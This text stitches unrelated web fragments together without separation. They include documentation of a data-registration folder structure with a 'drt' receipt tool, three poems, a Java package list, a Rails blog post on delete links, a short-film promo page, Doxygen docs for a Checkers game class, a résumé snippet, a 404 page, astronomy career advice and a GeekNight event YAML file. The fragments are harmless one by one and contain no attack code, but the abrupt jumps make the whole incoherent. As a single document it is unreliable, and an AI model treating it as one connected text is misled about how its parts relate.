The delivery folder is the repository of the data delivered for the project. This can be in various different forms. It may be excel sheets provided by business experts, extracts from systems, files requested for analysis, etc.
A Delivery is data or a group of data delivered at a particular point in time. The data can be preprocessed by the source or can be in a format which needs a more manual extraction. A delivery can also contain 1 or more different types of data to extract. This is because when someone provides us with a data dump it's not always immediately obvious whether we have multiple data elements in the dump.
The structure of a delivery is as follows:
01_Delivery
|
+ 2020_01_19_Delivery_title
| |
| + data
| | |
| | + Delivered data file/folder
| |
| + source
| | |
| | + Description of where data comes from
| |
| + receipt.rst
_
The data provided is put into the data folder, the data can be a single file or it can be a folder containing files.
The source folder contains records of how the data was provided/coillected. This could be an email, a report transcript, or any other way of demonstrating where this data comes from.
The receipt.rst
file is generated by the drt
tool and contains metadata about the delivered data as well as information about who provided the data as well as what this data is. The source information and the description of the data must be filled in by the analyst on data receipt.
When data flows from Delivery to Raw that means that the Data Analyst has found value in extracting the information from the delivery. A key thing to note is that a Raw data element can only ever have 1 source but a Delivery can have many Raw data elements extracted from it. The Raw data should be converted to a type-specific data storage format but the data should not be filtered or joined with other data. Another part of the Raw data extraction that is important is that during the extraction process the Data Analyst needs to produce a report which future users of the data can use to quickly determine what type of data is contained in the Raw data element. A Raw data element has the following structure:
02_RAW
|
+ 2020_01_19_Raw_Data_Title
| |
| + extracted_data {folder OR file with data extension}
| | |
| | + Extracted data file/folder
| |
| + report {folder OR file with report extension}
| | |
| | + Description of the data including statistics
| |
| + script {folder OR file with script extension}
| | |
| | + Code used to extract the data
| |
| + receipt.rst
_
extracted_data:
This is either data file (parquet, csv, etc) or data stored in a folder with the ".data" extension. In principle this data should be typed so that its clear for future users what the data is.
report:
This is either a report file (html, docx, pptx, etc) or a series of report files stored in a folder with the ".report" extension. This report should provide statistics about the data in the extracted data. Allowing future users of the data to better understand the extracted data.
script:
This is either a script file (py, ipynb, r, jl, etc) or a folder with the ".script" extension which extracts information from the delivery data.
receipt.rst:
This is a receipt file generated by the drt tool and which a Data Analyst should populate with a description. The information in this file will form the basis of the data documentation.
The Dataset element is the final element in the data registration process. This can be formed from one or multiple raw data elements or other datasets. The Dataset is filtered and combined data which can be used for analysis. Thought needs to go into how a Dataset is created and the source of its data is very important. Datasets form the basis of analyses.
03_Datasets
|
+ 2020_01_19_Raw_Data_Title
| |
| + dataset {folder OR file with data extension}
| | |
| | + Compiled data file/folder
| |
| + report {folder OR file with report extension}
| | |
| | + Dataset report
| |
| + script {folder OR file with script extension}
| | |
| | + Code used to create the Dataset
| |
| + receipt.rst
_
dataset:
This is the Dataset in a typed file type (parquet, etc) or a folder with data in it with the extension ".data"
report:
The Dataset Report in html, docx, pptx or a folder with the ".report" extension containing the report. This report differs from the Raw data in that in addition to showing statistics of the data it should also maintain Dataset FactSheet which contains important information about the source of the data and the purpose why the dataset was created.
script:
The script to create the Dataset in a script file or in a folder with the ".script" extension.
receipt.rst:
A file create by the drt tool which will be used to population information about this dataset in the data documentation generated by drt.


Three Poems
Untitled
I was a fountain choreographer
in purple sheets, given to glass worship.
I was statues, too, broken down to chips,
when the rumor died down at the altar.
Elle ordered me (again) to Love My Hair,
when France and Russia fought over warships,
when we were two people meant to Ketchup;
but wasn’t that your job? (I mean, the hair).
Back when I spent my money on Moleskines -
they still write, to ask me if I want more.
I don’t know how to answer such questions,
so instead I tell them I want more skin,
because we stretched the rumor till it tore,
and then left it to yellow in the sun.
Marbles
The morning after the cow lost her calf,
the symptoms set in.
The planarian split into two,
3.4 miles from shore.
The slanted city/a spineless island,
sent the marbles on a downward roll.
Then with the drill (it’s a hands-on city):
don’t fix the shelves, please, just fill in the hole.
When I fell, I felled the topography.

So: there was your way and there was mine,
respecting our original parting.
Buried under a tree came back bolder:
that bell I found. Remember? I told you.
Windows
They are all talking about
the storm windows
but none of them saw
the note on the sink,
the one that kept it to storms,
on how to condition the storms
for storms.
And while they sign off in the copse,
through their talk of squalls
comes our daughter’s voice,
supplicating the raspberries,
those that dilly-dallied into September,
so old they taste like jam.
The woman who lived here
made her nest in a town
kept honest by wood.

It reminds me of a cabinet
where birds were laid to rest
in cotton balls.
No one is really from this town
and the only wood to ever come from here
was splintered, dipped in sulphur,
and inflamed against diminutive
adirondack chairs.
Our daughter pockets an acorn,
convincing us both she has taken
something valuable.


All Classes
Packages
net.powermatcher.api
net.powermatcher.api.data
net.powermatcher.api.messages
net.powermatcher.api.monitoring
net.powermatcher.api.monitoring.events
net.powermatcher.core
net.powermatcher.core.auctioneer
net.powermatcher.core.bidcache
net.powermatcher.core.concentrator
net.powermatcher.peakshaving


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--- layout: post title: ! 'method: :delete' tags: ---
I’m sure we’ve all seen the following code before:
<%= link_to “Destroy”, my_object, method: :delete %>
minus the new hash calls in 1.9.2, this is a pretty standard delete link rails. Here’s the issue though, links can’t make actually delete requests so how does this work exactly?
What rails is doing, is on the fly, if you’ve added this method, its actually makes your application execute a javascript function when clicked that then creates a delete request on the server side so that the routes work properly. The only downside to this is that if your users don’t have javascript running, this links fails epically. If you have users who don’t use javascript you basically have two options:
Personally, I’d opt for two but the choice is yours. Either way, you should be aware of what you are presenting to users.


This is not about how thievery is bad nor it is for normalizing it. It is not about villains and heroes, or about victims and their stories. This is about unexpected moments and how we humans deal with them.
It is all about what we choose to happen and what really happens in the end. But this is a story with a beginning and a middle, with no end.
Amina Kobenova - A young performer whose ambition arose early but successfully with various roles in award winning films.
Hessa Alabbas - A film and TV enthusiast who appeared in various independent films and theatrical performances.
Ishmal Khalid - An actress & founder of an online platform designing workshops for aspiring actors to support their careers.
Rashed AlQubaisi - A performer who also made his first venture in the area of screenwriting and directing recently.
Cineast is an Abu Dhabi - based production and distribution company with a core team of directors, filmmakers, graphic designers, , engineers, vfx specialists, 3D artists and animators. We combine these skills to meet any brief and craft award winning work.
Eyes Open had its world premiere at the 30 Minute Short Film Festival on September 8, 2020. The film was theatrically released in the United Arab Emirates on September 19, 2020, distributed by Cineast Productions. The film is digitally available through the main website starting from September 29, 2020.


|
Checkers
|
Public Member Functions | |
| GameObject | Create (string name, int x, int y) |
| Object | CreateUI () |
| void | set_position (GameObject obj) |
| void | set_pos_null (GameObject obj) |
| void | move_space (int x, int y) |
| GameObject | get_position (int x, int y) |
| bool | position_open (int x, int y) |
| string | get_current_player () |
| bool | is_game_over () |
| void | change_player () |
| void | Update () |
| bool | can_red_move () |
| bool | can_black_move () |
Public Attributes | |
| GameObject | checker_piece |
| allows prefab checker to be used as checker_piece in script. More... | |
| GameObject | trackerUI |
| variable to hold simpleUI image More... | |
| bool | has_checker_jumped = false |
| bool GameManager.can_black_move | ( | ) |
<Checking moves for black player
<Checking possible moves for red checker
<Check if there is a space to the right. If yes, continue on.
<Check for unblocked normal move to right
<Check if there is space to jump over a checker
<Check for unblocked jump to right
<Check if there is space to left
<Check for unblocked normal move to left
<Check for unblocked jump to left
<Check if there is a space to the right. If yes, continue on.
<Check for unblocked normal move to right
<Check if there is space to jump over a checker
<Check for unblocked jump to right
<Check if there is space to left
<Check for unblocked normal move to left
<Check for unblocked jump to left
<Check if there is a space to the right. If yes, continue on.
<Check for unblocked normal move to right
<Check if there is space to jump over a checker
<Check for unblocked jump to right
<Check if there is space to left
<Check for unblocked normal move to left
<Check for unblocked jump to left
<If no condition was met, black player cannot move and turn should go to red
| bool GameManager.can_red_move | ( | ) |
<Checking possible moves for red player
<Checking possible moves for red checker
<Check if there is a space to the right. If yes, continue on.
<Check for unblocked normal move to right
<Check if there is space to jump over a checker
<Check for unblocked jump to right
<Check if there is space to left
<Check for unblocked normal move to left
<Check for unblocked jump to left
<Check if there is a space to the right. If yes, continue on.
<Check for unblocked normal move to right
<Check if there is space to jump over a checker
<Check for unblocked jump to right
<Check if there is space to left
<Check for unblocked normal move to left
<Check for unblocked jump to left
<Check if there is a space to the right. If yes, continue on.
<Check for unblocked normal move to right
<Check if there is space to jump over a checker
<Check for unblocked jump to right
<Check if there is space to left
<Check for unblocked normal move to left
<Check for unblocked jump to left
<If no condition was met, red cannot move and the turn should go to black.
| void GameManager.change_player | ( | ) |
<If black has no available moves, it skips back to red. —>Deleted out && can_black_move()
<If red has no available moves, it skips back to black—-> took out && can_red_move()
| GameObject GameManager.Create | ( | string | name, |
| int | x, | ||
| int | y | ||
| ) |
| y | Creates checker piece and sets name and board position |
| Object GameManager.CreateUI | ( | ) |
| string GameManager.get_current_player | ( | ) |
| GameObject GameManager.get_position | ( | int | x, |
| int | y | ||
| ) |
| y | Returns positions |
| bool GameManager.is_game_over | ( | ) |
<If the space being checked is a checker, and that checker is not the same color as the current player, the game is not over
<If neither player can move, the game ends.
<If all conditionals have been checked, it defaults to the game being over. As of currently, it only reaches this point if there is no checker that is the opposite color of the current player.
| void GameManager.move_space | ( | int | x, |
| int | y | ||
| ) |
| y | Removes old checker when checkers are moved |
| bool GameManager.position_open | ( | int | x, |
| int | y | ||
| ) |
| y | Checks if a position is occupied or empty |
| void GameManager.set_pos_null | ( | GameObject | obj | ) |
| void GameManager.set_position | ( | GameObject | obj | ) |
| obj | Sets position of checkers |
| void GameManager.Update | ( | ) |
| GameObject GameManager.checker_piece |
allows prefab checker to be used as checker_piece in script.
| bool GameManager.has_checker_jumped = false |
| GameObject GameManager.trackerUI |
variable to hold simpleUI image


This demo consists of 100 questions taken from stack overflow, they are listed on the left hand side. Clicking on the headings will display the full question on the right hand side of the page.
Each question contains a heading, a list of tags and the body of the question. All three fields are in the index and you can search using any words you want.
The index is currently being loaded, you can still search but currently not all the data has been indexed.


Spanish Studies in Madrid, Carleton College, Madrid, ES, 2013
Head Royce Class of 2011
Skills
- Experienced in: Python, Java, HTML, Javascript, CSS
- Proficient in: C, Racket, JQuery, AngularJS, RaphaelJS
- Strong research and analytical skills
- Experience assisting non-technical customers/clients with technical media
- Passable Spanish speaker
-
- Deft photographic trigger finger


You may have discovered a broken link on another site, mis-typed a website address, or we may have broken something.
Try going to the Home Page or the Previous Page


Job Search and Career Related¶
Under Construction: The current version is maintained by Song Huang. The material here is still highly incomplete and is likely to show personal bias. Any help or suggestion on improving this document, especially the general advice part, will be highly appreciated.
Can I haz a job? General Career Advice¶
Getting an acedemic job is never easy, but at least you can prepare these things:
-
I think you should read this, every word of it, before you read anything else. This is probably the best career advice I have ever read. I worked on my mission statement right after I read this.
FindingAda website has a nice poster: What kind of technologist could I be?
“The poster aims to explode the idea that the only people who work in tech are programmers, and that traditionally female-coded roles, such as Teacher, Communicator and Facilitator are ‘not really tech jobs’.”
“The role descriptions are left intentionally general so that students can more easily explore the nuances of different jobs within each category.”
Many of these roles also apply to researchers or person with an academic background.
Brown University’s CareerLAB has a few nice guidance for finding job inside and outside academia:
Astrobites also have some nice career inside and outside astronomy (use Career Navigation as keyword):
AstroBetter has a pretty nice series of career profiles (not complete):
Astronomer to Data Visualization Specialist and Adjunct Associate Professor
Astronomer to Chief of the Nautical Almanac Office at the US Naval Observatory
Astronomer to Associate Director of the NASA Lunar Science Institute
Astronomer to University Administrator in a Center for Teaching & Learning
Astronomer to Full Professor of Physics at a Small Liberal Arts College
Astronomer to Tenure Track Faculty at a California Community College
Astronomer to Tenure Track Faculty at a Teaching-Focused Institution
Astronomer to Director for the Centre of Excellence for All-Sky Astrophysics
Stay in Academia¶
Pathways to Success - A Holistic Approach to Professional Development from Cornell University
The name sounds like a cliché, but some of the advice here is pretty good.
-
These are some very good tips.
Searching for Astronomy Related Jobs¶
-
Probably the most important website if you want to find a post-doc or faculty job.
Astrophysics Jobs Rumor Mil
Make sure that you don’t spend too much time here during the job season.
Resources and Tools for Job Application¶
To Apply for an Academic Position¶
CV (Resume) and Publication List¶
Guide to use resumes and CVs from Cornell University
You can make a CV using whatever software you want (e.g. Word, Pages), but LaTeX makes very nice and professional looking CV.
There are a good selection of LaTeX CV templates on Overleaf. Some of these are a little too fancy for acedemic, but they all look pretty good.
Personal Website¶
It is actually pretty important to have a visible personal website that links your CV and contact information. Make sure that it can be found by search engine.
This is especially important if you try to find job in another country (e.g. get a PhD in China, want a post-doc job in Europe) or when you know the hiring committee is not familiar with you.
GitHub Pages is pretty good choice to make a nice-looking personal website. And there are some easy-to-use templates available, and there are more fancy ones available
Good examples (personal choice: clean and informative)
Adrian Price-Whelan; the code can be found here
Dan Foreman-Mackey; the code can be found here
Recommendation Letters¶
Help wanted
Research Plan and/or Research Proposal¶
To Apply a Non-Academic Position¶
– Help Wanted


---
start: 2016-01-06 13:00
edition: 10
participate: "https://www.eventbrite.com/e/geeknight-10-natural-language-processing-tickets-20139507810"
subheader: "Natural Language Processing"
subnote: ""
talk :
agenda:
-
time: "6:30 p.m - 7:20 p.m"
title: "Understanding & Processing Natural Languages"
subtitle: "Real World Applications of NLP - Spam Detection & Sentiment Analysis."
speaker_profile: "By: Vanya Seth, Dharmendra Prasad"
image: "dharmendra.jpg"
-
time: "7:20 p.m - 7:30 p.m"
title: "Break"
-
time: "7:30 p.m - 7:40 p.m"
title: "Tech Radar Talk"
subtitle: "Discussion on trending technologies"
speaker: "Rajasree"
-
time: "7:40 p.m - 8:30 p.m"
title: "Continuing session with more demos"
speaker_profile: "By: Vanya Seth, Dharmendra Prasad"
---